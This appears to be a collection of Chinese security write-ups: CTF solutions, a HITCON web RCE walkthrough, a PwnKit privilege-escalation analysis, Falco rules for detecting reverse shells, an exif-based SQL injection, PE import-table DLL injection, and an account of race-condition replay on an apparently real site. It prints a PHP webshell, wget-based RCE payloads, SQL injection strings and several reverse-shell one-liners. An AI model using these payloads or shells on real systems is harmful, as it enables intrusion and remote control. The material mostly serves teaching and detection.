ret += hex(int(c, 2 ))[2:].upper()
print ret
左边去掉5个字符,右边去掉4个字符
str="10000000001001001101100010000100010110101011111100110100000100011001"
a=0
flag=""
for i in range(0,len(str)/4):
# print(str[0+(i*4):4+(i*4)])
# a+=1
flag+=hex(int(str[0+(i*4):4+(i*4)],2))[2:]
# print(hex(int(str[0+(i*4):4+(i*4)],2))[2:])
# print(str[4:8])
print(flag)
或者就是直接上工具
CISCN(全国大学生信息安全竞赛) 2017 传感器2
已知ID为0x8893CA58的温度传感器未解码报文为:3EAAAAA56A69AA55A95995A569AA95565556
为伪造该类型传感器的报文ID(其他报文内容不变),请给出ID为0xDEADBEEF的传感器1的报文校验位(解码后hex),以及ID为0xBAADA555的传感器2的报文校验位(解码后hex),并组合作为flag提交。
例如,若传感器1的校验位为0x123456,传感器2的校验位为0xABCDEF,则flag为flag{123456ABCDEF}。
0024D 8893CA58 41 81
0024D 8845ABF3 41 19
把上一题的数据拿过来查看,格式应该是0024+id+41+xx(校验)
其他格式都是固定的,即可判别最后两位为校验
把题目给的数据,分开找到校验的值。如果是按一位=4位,即为8位,可以尝试crc8
>>> bin(int('A',16))
'0b1010'
可以看到就是等于校验值的
直接就拿题目要求的替换掉id即可
0xDEADBEEF
024DDEADBEEF41
0xBAADA555
024DBAADA55541
>>> hex(c8(binascii.unhexlify('024DDEADBEEF41')))
'0xb5'
>>> hex(c8(binascii.unhexlify('024DBAADA55541')))
'0x15'
http://www.ip33.com/crc.html
参考链接: [1] https://blog.csdn.net/qq_37790902/article/details/79616450
[2] https://blog.csdn.net/Enderman_xiaohei/article/details/104331317
[3] http://www.pc6.com/softview/SoftView_606143.html
[4]https://blog.csdn.net/zz_Caleb/article/details/89331290
[5]https://zhuanlan.zhihu.com/p/27827585
[6]https://blog.csdn.net/qq_43165101/article/details/97395191
如何巧用vps解题?
前言
对于Web方向的选手来说,拥有一台vps可以快速解决一些RCE问题,本篇文章所演示的是2015年HITCON的一道web题,虽然时隔有些久,但是这题所利用的trick以及RCE的思路,仍然值得我们去学习。
初步审计
题目代码如下:
<?php
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
?>
题目代码比较短,一共就15行代码,但实际上最关键的代码就只有两行,如下:
if ( !preg_match('/^\w+$/', $args[$i]) )
exec("/bin/orange " . implode(" ", $args));
一个是正则匹配,一个是exec的命令执行
首先先看正则部分/^\w+$/,这一部分要求传入的args参数必须以字母数字下划线开头,除此之外,在最后还有一个美元符号$,需要明确的是:$符号在PCRE中是会匹配\n以及\r前的位置的,结合后面exec命令执行的部分,也就是说,我们可以使用换行符%0a绕过执行其他命令。
但是如果本题在正则表达式后加一个D修饰符,那么就无法使用%0a绕过,具体测试样例如下,这里就不过多阐述了,因为题目中没有这个修饰符。
echo preg_match("/^\w+$/", "abc".chr(10));//1
echo preg_match("/^\w+$/D", "abc".chr(10));//0
其次再粗略看一下命令执行的部分,这里命令执行的部分使用exec,单单使用一个exec是无法将命令执行的结果回显出来,因此在后续做题就可能会产生这么几种思路:数据外带、写入shell等等
数据外带
首先分析一下数据外带,多数情况下想要尝试数据外带都需要使用一些特殊的字符,例如使用反引号外带至dnslog,不过本题正则不允许args传入,因此数据外带这个方法行不通
写入shell
想要使用写入shell方法完成本题,还是有两种方式,一种方式就是使用echo 'xxx' > xx.php,然而这题正则过滤了这些字符,因此可以使用另一种方法,就是将下载远程服务器上的文件,通过一些操作进行RCE
详解RCE
本题官方解所使用的思路就是:下载远程服务器上的文件,通过一些操作进行RCE,具体是哪些操作下面会说到。
首先我们现在本地服务器上测试,此时新建一个php文件,命名为1.php,内容如下:
<?php
echo 3 * 4;
echo "\n";
?>
然后将1.php放入一个文件夹a中
这个时候我们将文件夹a利用tar打包,注意是打包,不是压缩
tar cf b a
将文件夹a打包,并且生成b
打包之后结果如下:
此时我们直接使用php命令去执行这个b
看一下最后的12,就是前面1.php的执行结果3 * 4 = 12
那么为什么可以直接执行b这个文件呢?
其实我们可以直接使用cat查看b中的文件
可以看到,b文件中存在之前写入的1.php的代码
这个时候我们总结一下这个方法,全程使用的命令对于正则/^\w+$/都是合法的,并且1.php中的内容可控,因此可以通过这个方法写入shell
因此,对于解题来说,解题流程如下:
首先在vps中新建一个index.html,文件内容如下:
<?php
file_put_contents('shell.php', '
<?php
header("Content-Type: text/plain");
print shell_exec($_GET["cmd"]);
?>
');
?>
然后在vps中启动http服务
python3 -m http.server 80
由于ip都是6.6.6.6的形式,带.,不符合正则,因此可以使用十进制ip绕过
<?php
echo ip2long("6.6.6.6");
?>
//101058054
然后先新建一个upload目录,对应上面测试的a
?args[]=l%0a&args[]=mkdir&args[]=upload
然后进入upload目录,利用wget下载vps上的index.html
?args[]=l%0a&args[]=cd&args[]=upload%0a&args[]=wget&args[]=101058054
//注意:最后一个args为vps十进制ip值
将upload目录打包,打包后的名称为b
?args[]=l%0a&args[]=tar&args[]=cvf&args[]=b&args[]=upload
//将upload目录打包为b
在执行b目录,写入shell
?args[]=l%0a&args[]=php&args[]=b
//执行b,写入shell
这题本质上是利用了tar打包的特性,将下载下来的index.html打包,然后利用php执行
不过这只是官方解,除此之外,在2015年比赛的时候,还有一些队伍使用http302重定向到ftp中,将恶意文件下载到靶机中getshell。
由于Python自带的http.server默认将index.html作为首页,并且无法修改默认首页
但是,还有一种方法就是自建一个web服务器,不使用php解析,且访问80端口的默认文档为shell.php,然后再利用wget下载php文件进行getshell。
总之,方法总比困难多。
参考文章
http://drops.xmd5.com/static/drops/web-9845.html
https://github.com/p4-team/ctf/tree/master/2015-10-18-hitcon/web_100_babyfirst
CVE-2021-4034 pkexec本地提权漏洞分析
前言
Qualys 研究团队在 polkit 的 pkexec 中发现了一个内存损坏漏洞,该 SUID 根程序默认安装在每个主要的 Linux 发行版上。这个易于利用的漏洞允许任何非特权用户通过在其默认配置中利用此漏洞来获得易受攻击主机上的完全 root 权限。
pkexec
Polkit(以前称为 PolicyKit)是一个用于在类 Unix 操作系统中控制系统范围权限的组件。它为非特权进程与特权进程通信提供了一种有组织的方式。也可以使用 polkit 执行具有提升权限的命令,使用命令 pkexec 后跟要执行的命令(具有 root 权限)。
运行
完成认证即可使用root权限执行文件
漏洞复现
漏洞分析
变量n初始值被设置为1,循环执行的次数为参数的个数,但是若参数个数为0时,此时变量n仍然为1,并且后面执行的语句会将argv[n]的值取出则造成了数组越界。
test1.c
int main(int argc,char **argv)
{
printf("argc:%d\n",argc);
for(int i=0;i<argc;i++)
printf("argv[%d]:%s\n",i,argv[i]);
return 0;
}
将test.c编译执行,发现argv[0]为执行文件所在路径。并且参数个数也是为1,不会出现为0的情况。因此在这种情况下pkexec不会出现数组越界的情况。
test2.c
#include <unistd.h>
int main()
{
char * const args[] = {NULL};
char * const environ[] = {NULL};
execve("./test",args,environ);
return 0;
}
将test2.c编译执行,使用execve函数启动test1文件,发现此时的argc为0。
那么使用execve函数调用pkexec文件就有可能会出现argc为0,造成数组越界,下图为调试pkexec时的情况,此时的argc为0,但是n为1,通过源码可以看到后续会读取argv[n]的值,因此造成了数组越界。
漏洞利用
pkexec文件会执行validate_environment_variable (key, value)用于检测key所对应的环境变量是否合法。
若key所对应的环境变量不合法则会采用g_printerr函数打印信息,log_message函数内部也是调用了g_printerr进行信息的打印。
exp利用g_printerr打印错误信息时特殊的执行流程进行getshell。
当Linux中CHARSET不是设置为UTF-8格式,则会调用iconv,用于将文本从一种编码转化为另一种编码。
在调用iconv之前需要通过使用iconv_open分配转化描述符号。
iconv_open函数受到GCONV_PATH环境变量影响
• 若GCONV_PATH未设置,那么iconv_open会加载系统默认的模块配置的缓存文件。
– 默认的配置文件位于/usr/lib/gconv/gconv-modules
• 若GCONV_PATH被设置,则会优先加载设置路径下的配置文件。
查看默认的配置文件信息gconv-modules,该配置文件指定了编码转换的键值对,并且通过指定的so文件执行转换。
main_g_printerr.c文件中调用了g_printerr函数,而test3.c则是我们稍后需要编译成.so的文件,尝试利用g_printerr函数执行自行编译的so库。
//main_g_printerr.c
int main()
{
g_printerr("Hello World!\n");
return 0;
}
//test3.c
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
void gconv()
{
}
void gconv_init(void *step)
{
printf("Hello test3\n");
exit(0);
}
//配置文件 gconv-modules
//将编码为ABCD转化为UTF-8,具体转化流程根据test3.so文件
module UTF-8// ABCD// test3 1
将main_g_printerr.c编译为main_g_printerr,test3.c编译为test3.so,gconv-modules为配置文件,内容如上。
设置CHARSET为ABCD,因为配置文件写的是从ABCD转化为UTF-8,然后将环境变量GCONV_PATH设置为当前目录。执行main_g_printerr发现输出的是.so文件中的Hello test3
pkexec是具有suid特殊权限的文件,因此执行pkexec文件时是具有root权限的。
linux的动态链接器会在特权程序执行的时候清楚危险的环境变量,因此使用execve启动pkexec时,即使设置了GCONV_PATH也会被连接器清除。如下图所示test4具有suid权限,在test5中使用execve启动test4,并且设置了GCONV_PATH环境变量,但是可以看到test4的环境变量中并没有GCONV_PATH
因此需要使用pkexec中存在的数组越界漏洞,将GCONV_PATH写入
变量argv与变量envp在内存中是连续的,如下图所示,图片来自于https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
当我们使用execve启动pkexec时,argv是NULL,因此argc的值为0,但是pkexec会默认将argc的值赋值为1,因此argv[argc] = argv[1] = envp[0],因此envp中的值会被越界读取。
利用数组越界写入GCONV_PATH=.
使用execve启动pkexec时envp[0]的值为FileName:.,并在当前目录下新建名为GCONV_PATH=.的文件夹,该文件夹下新建名为FileName:.的文件。
首先pkexec会取出argv[1](即envp[0])的值,接着通过g_find_program_in_path函数获取文件路径从而构造出GCONV_PATH=.FileName:.,接着该值会重新覆盖envp[0],至此GCONV_PATH被成功写入。
GDB调试
数组越界读
环境变量构造
成功引入环境变量
最后就是使得pkexec使用g_printerr打印错误信息即可。
参考文章
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034https://bbs.pediy.com/thread-271423.htmhttps://github.com/berdav/CVE-2021-4034https://man7.org/linux/man-pages/man1/iconv.1.htmlhttps://xz.aliy
记一次重放验证码的条件竞争
https://www.yijinglab.com/expc.do?ec=ECID39ee-9db2-47bc-9fa1-29150748681b看着网站挺好怼的,于是就看了看它的验证码这一块
0x01:先看看它的正常的响应包
重复发送,做了防护。
使用常见的手法进行绕过
1.换行 –失败
2.加空格或者 + 号 失败
body=contact%3D%2013888888888%20&type%3Dgetverifycode&cmd%3D-1&data=&yzm=&encrypt=false
body=contact%3D+13888888888%20&type%3Dgetverifycode&cmd%3D-1&data=&yzm=&encrypt=false
….
3.加分号, 加逗号 --失败
body=contact%3D13888888888;13888888888&type%3Dgetverifycode&cmd%3D-1&data=&yzm=&encrypt=false
差不多可以确定是电话后面加的是非空格字符的是不会发送,直接显示手机号错误,
4.加+86 或者86
5.在常见思路都失败的情况下,我想到可不可以用数据库的空白字符去干扰它…..
有那么多空白字符 试试呗…
然后当我把线程放到30的时候,重新再跑的时候,进一步确认了这样一个问题
问题就出来了。。。按照刚才的思路,不可能是有两个验证码会发送成功的,如果发送成功,一定就是它的业务出现了问题… 那么到底是哪里出了问题了呢???
1.最开始的时候,思考的方向出现了问题,我首先想到的是会不会是高并发的一个问题。。然后去百度,寻找到这样一个线索 感谢这位师傅的文章
可以看到,高并发漏洞应该是两个不同的操作,从而导致的问题
2.然后又跑去问团队的大师傅。大师傅给了一个提示
说实话,有往条件竞争这一块去想。。但是想到的是条件竞争的话,感觉是在上传这一块,
所以,但长见识了!!!验证码也可以条件竞争… 找个时间想想,其他漏洞会不会存在这有条件竞争…
3.新的问题又出来的
怎么去验证这样一个问题是条件竞争…
坑定不能重复这个%00
相当于直接重放这个请求包即可
把线程开到50
成功验证了。。。。
主要为了验证这个问题存在即可,不一定要把线程开得很大,把别人网站搞崩完犊子了……
总结:
1. 原来验证码可以进行条件竞争!!!
2. 挖掘得每一个过程,都需要明白大致得流程,这样才能进步,我们要明白为什么,怎么操作。加油加油
3. 愿师傅们技术更上一层楼
之所以认为是条件竞争,是因为一个大师傅这样认为过…
最后,谢谢兔哥,十二神等等….和我团队里的各位大师傅… 真正谢谢了….
利用Falco监控反弹Shell
前言
网络对抗愈加激烈,各种攻击手法层出不穷,在安全左移的同时,如何做到快速的应急响应,也是攻防中的一大重点。本文将以Falco为例,来达到反弹Shell的监控。
安装Falco
根据https://falco.org/docs/getting-started/installation/在centos迟迟没安装成功,提示找不到驱动,也罢,通过docker安装,并且为了快速安装,我给予了Falco容器特权,因此得注意Falco容器自身的安全性,不然就被逃逸了:
docker pull falcosecurity/falco:latest
虽然宿主机Falco安装失败了,但是Falco相关的配置文件都有了,因此我把配置文件挂载到容器里,方便规则文件的更改:
docker run --rm -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro -v //etc/falco/:/etc/falco/ falcosec
可以正常运行:
反弹Shell分析
既然我们要监控反弹Shell的行为,我们就要分析对应的行为特征,我们使用我发表在TSRC的https://mp.weixin.qq.com/s/egsHOPK_S5vZujqIb3ygOQ文中的反弹Shell手段看看进程有啥特性或者共性:
bash -i >& /dev/tcp/1.1.1.1/10000 0>&1
bash -c 'exec bash -i &>/dev/tcp/yourip/yourport <&1'
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 114.67.110.37 10000 >/tmp/f
php -r '$sock=fsockopen("yourip",yourport);exec("/bin/sh -i <&3 >&3 2>&3");'
python -c 'import sys,socket,os,pty;s=socket.socket();s.connect(("yourip",yourport));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 1337 0<$TF | /bin/sh 1>$TF
根据上面的反弹Shell行为,发现有几个特性,或者说共性:
fd有对外的socket连接,且fd.num不超过3
fd有pipe管道,且fd.num不超过4
fd.255是/dev/tty
根据综上所述,可以编写对应的规则。
编写监控规则
Falco的规则有三块内容:
• Rules
• Macros
• Lists
Rules主要是告警名称、告警介绍、告警条件、告警输出、风险等级和告警标签;Macros是自定义好的规则,可以在规则中被引用的“函数”;Lists是变量列表。
规则长下面这样:
Falco默认也自带了一些规则,比如我们docker exec进入容器的时候,会有告警提示:
根据上述反弹Shell分析,如果bash、zsh这些进程的fd出现socket连接,肯定有问题,而且常见的bash反弹都是用的重定向,那我们就可以编写对应的规则:
- list: shell_binaries
items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]
- rule: Shell Binary Reverse shell
desc: Bash、Zsh etc. have network connection,May be Reverse Shell
condition: evt.type=dup and proc.name in (shell_binaries) and container and fd.num in (0, 1, 2, 3) and fd.type in ("ipv4", "ipv6")
output: >
Reverse shell connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)
priority: emergency
tags: [container, reverse_shell, mitre_execution]
append: false
上述规则代表如果存在重定向、进程是bash、zsh这些、在容器内、fd的num是0、1、2、3中的一个、fd类型是ipv4或者ipv6,可以看到成功的监控到反弹Shell行为:
但是这样很容易被绕过,主要执行的进程不是shell_binaries里的就行,就比如上面的telnet、python反弹Shell的方式。因此我们可以删掉上面提到的shell_binaries,不管是不是bash这些,只要fd 0 1 2 3有socket连接就行:
- rule: Any Binary fd 0-3 Have Network Connection
desc: Any Binary fd 0-3 have network connection
condition: evt.type=connect and container and fd.num in (0, 1, 2, 3) and fd.type in ("ipv4", "ipv6")
output: >
Any Binary fd 0-3 Have Network Connection (user=%user.name %container.info process=%proc.name proc.pid=%proc.pid parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.si
priority: warning
tags: [container, fd03_network]
append: false
继续根据上面的反弹Shell分析,发现telnet这样的反弹Shell,会有管道pipe的产生,因此我们继续完善我们的告警,添加Pipe:
- rule: Shell Binary Pipe
desc: Bash、Zsh etc. have Pipe,May be Reverse Shell
condition: evt.type=dup and proc.name in (shell_binaries) and container and fd.num in (0, 1, 2, 3) and fd.type="pipe"
output: >
Reverse shell connection(PIPE) (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%f
priority: emergency
tags: [container, reverse_shell, pipe, mitre_execution]
append: false
fd.255是/dev/tty也可以加个:
- rule: fd.255 = tty
desc: fd.255 = tty
condition: evt.type=connect and container and fd.num=255 and fd.name='/dev/tty'
output: >
fd.255 = tty (user=%user.name %container.info process=%proc.name parent=%proc.pname proc.pid=%proc.pid cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository fd.name=%fd.name fd.num=%fd.num fd.type=%fd.type fd.sip=%fd.sip fd.rip=%fd.rip)
priority: warning
tags: [container, fd255_tty]
append: false
总结
本文利用Falco进行了反弹Shell的监控,虽然大多数的反弹行为都可以被监控到,但是可能存在各种各样的误报、漏报,安全任重道远。
实验推荐
实验:反弹shell的N种姿势(蚁景网安实验室) https://www.yijinglab.com/expc.do?ec=ECID5176-f1a3-433a-b3a2-a7ff4eab2d1d
一张图片也能SQL注入
前言
最近在复盘SQL注入,看到有一个trick挺有意思的,这个trick主要利用后端程序会将文件exif信息插入数据库进行SQL注入
因此本篇文章会从题目解题,源码分析,底层调试这几个方面入手,如有纰漏,请多包涵。
什么是exif?
为了方便后面文章介绍这个trick,首先我们需要了解什么是exif?
其实exif是可交换图像文件的缩写,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
例如生活中利用手机相机或者数码相机拍照的时候,exif会记录拍照时的一些属性,例如:光圈,焦距,拍照时间,拍照设备等等属性
题目解题
题目地址:https://ctf.show/challenges#你没见过的注入-321
首先打开题目,前面一些与本文无关的解题步骤就不赘述了,简要的概括一下就是:扫目录扫到robots.txt,进入修改密码页面,修改完成密码之后进入后台。
后台还是比较简单的,就是一个上传的页面
选择文件进行上传即可,并且进行测试后发现,上传的文件都没有被过滤,即使是上传同一个文件,文件名也是不一样的,因此猜测这里使用了随机数md5的方式进行文件命名
这一题文件名被随机数md5重命名,并且,所以文件名不是注入点,但是分析一下上方的列目录的文件,首先肯定是有数据库存储相关文件信息(上图中的filetype),因此查询一下PHP有哪些函数或者方法会有这样的功能,查询PHP官方手册后可以发现,其中finfo对象以及finfo_file函数是有这个功能的
因此就可以大胆猜测在filetype会存在SQL注入,并且SQL语句应该是insert开头的插入语句
那么如何控制这个filetype呢?
我们可以使用file命令查看一个文件的信息,如下图所示
这一个命令一出是不是就发现和上面那个页面的filetype十分相似了呢?
那么是否有工具可以控制这个filetype呢?有的,那就是exiftool
安装完成后,我们尝试在一个图片里加入SQL语句,这里我们假设题目的SQL语句如下(这个很需要经验,不过这里我就直接给出来了,做题的时候还是需要慢慢fuzz)
insert into columns('字段1','字段2','字段3') value('值1','值2','值3')
因此注入语句
123"';select if(1,sleep(5),sleep(5));--+
具体的exiftool的命令为
exiftool -overwrite_original -comment="123\"');select if(1,sleep(5),sleep(5));--+" avatar.jpg
利用exiftool添加comment之后,使用file命令查看文件信息
可以看到,命令已经成功注入到了comment中,上传该图片,就可以发现明显有延迟,所以命令注入成功。
之后拿flag就很简单了,利用into outfile写入一句话木马即可,这里就不赘述了。
那么,究竟是什么函数会导致这样的SQL注入呢?
抱着深究的心态把题目源代码拷贝下来进行分析(所有可以getshell的题目都可以把题目拿下来进行分析,可以学到更多的东西)
题目源代码分析
首先一些登录文件就不看了,直接看最重要的,会造成SQL注入的那几个文件(为了防止篇幅过长,我这里仅将关键代码进行展示)
$filename = md5(md5(rand(1,10000))).".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
$filepath = "upload/".$filename;
$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
• 上方代码第一行就是前面说的,将随机数md5存储文件
• 第二行这里使用到了finfo::file,这里便是我们的注入点
• 第三行是目录的拼接
• 第四行就是存在SQL注入的SQL语句
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "<li>";
echo "filename:<a href='".$row["filepath"]."'>".$row["filename"]."</a> filetype:".$row["filetype"]."<br>";
}
echo "</li>";
}
这一段代码就比较简单,就是将存储的文件名列出来
那么造成注入的罪魁祸首就是这一行代码:
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
这里使用finfo::file方法,这个方法在PHP手册介绍如下,但是并不是很详细,后半部分将会对这一个函数进行底层代码跟踪分析。
finfo::file底层跟进
finfo::file方法在ext/fileinfo/fileinfo.c中
其中finfo中有这么几个方法:
class finfo
{
/** @alias finfo_open */
public function __construct(int $flags = FILEINFO_NONE, ?string $magic_database = null) {}
/**
* @param resource|null $context
* @return string|false
* @alias finfo_file
*/
public function file(string $filename, int $flags = FILEINFO_NONE, $context = null) {}
/**
* @param resource|null $context
* @return string|false
* @alias finfo_buffer
*/
public function buffer(string $string, int $flags = FILEINFO_NONE, $context = null) {}
/**
* @return bool
* @alias finfo_set_flags
*/
public function set_flags(int $flags) {}
}
我们跟进finfo::file
我们在下方图中位置下三个断点
将前面题目拉下来的源文件放在一个文件夹中进行调试
源文件如下:
将upload.php修改如下
$filename = md5(md5(rand(1,10000))).".zip";
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
$filepath = "upload/".$filename;
var_dump($filetype);
die(0);
开启调试,上传注入文件后程序便会停止在断点处
第一个断点处,421行,这个断点处调用包装器打开资源并返回流对象
第二个断点处,431-432行,进入magic_stream,单步调试,监视ms以及ret_val
进入file_or_stream
直接看file_or_stream的return
跟进file_getbuffer,下方其实就可以看到ms->o.buf已经获取到了exif信息
后面的就不继续跟进了,但是可以肯定的是file()方法可以检测图片的EXIF信息,并且作为题目中的filetype传入数据库造成注入
$filetype = (new finfo)->file($_FILES['file']['tmp_name']);
总结
虽然是几年前的trick,但是每弄清楚一个trick,攻击面就会更广。
参考文章
• https://blog.gem-love.com/ctf/2283.html#你没见过的注入
• https://segmentfault.com/a/1190000015052042
PE文件静态注入
http:// https://www.yijinglab.com/expc.do?ce=d5bc0c11-a182-474b-8ac1-251194174436 DLL注入
DLL注入指的是向运行中的其他进程强制插入特定的DLL文件。
可以通过修改静态的PE文件,修改输入表结构,使得程序执行时载入特定的DLL文件。
通常可执行文件需要使用其他DLL文件中的代码或数据,这些DLL文件相关的信息会保存在输入表中,因此我们通过修改PE文件中输入表相应的信息,即可实现PE文件在运行时自动载入特定的DLL文件。
使用PEview工具可以清晰的看到程序说输入表的信息
输入表
由于需要修改输入表信息,因此这里简单介绍一下输入表的结构。
在PE文件的可选头中存在这数据目录项, 里面记载了输出表、输入表等关键信息的偏移及大小。那么理所当然的PE文件在执行时也会通过数据目录项里的信息去找寻输入表。
输入表是由IMAGE_IMPORT_DESCRIPTOR结构的数组组成,简称IID,没有特定的成员指出IID项数,但是会由全为0的IID结构作为结束。
上图可以看出输入表的起始地址为0x1B1C4,这是RVA(相对偏移地址)地址,我们需要转化为文件的偏移地址才能够在文件中找到相应的内容。工具中提供了RVA与文件偏移地址的转换或者自行计算。
从上图可以看出IID结构确实是由全为0的IID结构作为结束。
输入表结构
IID结构的字段成员如下,其中OriginalFirstThunk、Name以及FirstThunk成员是我们添加DLL文件的关键。
IMAGE_IMPORT_DESCRIPTOR
union
characteristics DWORD
OriginalFirstThunk DWORD //指向IMAGE_THUNK_DATA结构的数组
ends
TimeDateStamp DWORD //时间标志
ForwarderChain DWORD //一般为0
Name DWORD //指向DLL名称的指针
FirstThunk DWORD//指向IMAGE_THUNK_DATA结构的数组
IMAGE_IMPORT_DESCRIPTOR
在PE文件尚未执行过时,OriginalFirstThunk与FirstThunk字段指向相同的结构,区别在于OriginalFirstThunk不可以重写,而FirstThunk可以被重写,当PE文件执行后FirstThunk指向的结构会用于存放输入函数的真实地址。因此我们修改时将OriginalFirstThunk与FirstThunk字段指向同个地址即可。而Name字段存放的是指向DLL文件名称的指针。
OriginalFirstThunkFirstThunkName指向IMAGE_THUNK_DATA结构的数组指向IMAGE_THUNK_DATA结构的数组指向DLL名称的指针
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
union u1
ForwarderString DWORD //指向一个转向者字符串的RVA
Function DWORD //被输入的函数的内存地址
Oridinal DWORD //被输入的API的序数值
AddressOfData DWORD //指向IMAGE_IMPORT_BY_NAME
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA结构在不同情况下的成员不同,但是重点关注AddresOfData字段,该字段指向IMAGE_IMPORT_BY_NAME结构,该结构记录的输入函数的名称。当IMAGE_THUNK_DATA值的双字的最高位为0时,表示函数以字符串类型的函数名方式输入。因此构造时高两个字节为0,低两个字节为IMAGE_IMPORT_BY_NAME结构地址即可。
IMAGE_IMPORT_BY_NAME
IMAGE_IMPORT_BY_NAME STRUCT
Hint WORD //忽略设置为0
Name BYTE //输入函数名称
IMAGE_IMPORT_BY_NAME
IMAGE_IMPORT_BY_NAME结构的高两字节的值忽略,后门跟着的数据直接填入DLL文件中输出的函数名称,即PE文件运行时会使用到DLL文件中函数的名称。
修改PE文件
这里准备两个文件
• 文件一:HelloWorld.exe,该文件仅仅是简单在屏幕输出HelloWorld!!!的字符
• 文件二:待注入的DLL文件,show.dll,该DLL文件的功能可以根据实际情况而定,这里我准备的DLL文件可以简单的弹出一个对话框。
将HelloWorld.exe文件拖入PEview工具中,查看输入表内容。可以看到并没有载入show.dll文件。
运行HelloWorld.exe文件
开始修改HelloWorld.exe文件的思路
• 需要在输入表中添加额外的IID结构,该IID成员的信息为show.dll文件的信息
• 由于需要添加IID成员,需要观察原始输入表是否由额外的空间可以容纳新的IID结构,若没有则可以选择
– 文件中的空白区域
– 文件末尾添加新节区
现在观察HelloWorld.exe文件的输入表,可以看见在输入表的结尾处紧跟着的是一串数据,并且大概率不是无用的数据,若我们直接在输入表结尾处添加新的IID结构必定会破坏原文件的结构,导致程序无法正常运行。
因此选择在找空白处,因为PE文件需要对齐,因此会使用大量的空字符进行填充。空白区域可以任取,但是需要记住选取的地址因为后续需要用到。并且我们需要观察该空白区域是否会被载入到内存中去。我们这里选择的是idata段末尾位置,因此需要去查询idata段信息。
如下图所示,文件中idata段的大小比映射到内存中的大小更大,因此我们可以利用这段差值填充伪造输入表。这里选择文件偏移0x8960作为输入表的起始地址。不能将0x8950作为其实地址,这样KERNEL32.DLL字符串会缺失截断符,运行时会提示找不到该DLL文件。
首先将原输入表的数据复制下来,写入文件偏移0x8960处,新增一个IID结构,Name字段填入DLL文件的名字,即show.dll,而OriginalFirstThunk与FirstThunk字段填入填入IMAGE_IMPORT_BY_NAME结构体的地址,IMAGE_IMPORT_BY_NAME的内容填入输入函数的名称,并且高两个字节需要为0。这里所有填入的地址都为RVA地址,因此需要将文件地址转化为RVA地址填入。
接着需要改写idata的权限,前面说到FirstThunk在PE文件运行后是会被改写的,因此输入表所在的区段需要具有写权限。可以看到idata不具备写权限,因此需要将写权限加上。
0x80000000为写权限的标志位,因此将原来的数据或上0x80000000即可
修改后为0xC0000000
最后由于修改了输入表结构以及所在地址并且新增了一个IID结构因此需要去数据目录项的位置修改输入表的地址及大小。
使用PEView工具查看修改后的文件,能够发现修改后的文件使用工具依然能够识别出来,证明没有把文件修坏。
最后执行程序,发现show.dll文件成功注入
参考文章
• 加密与解密
• 逆向工程核心原理
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

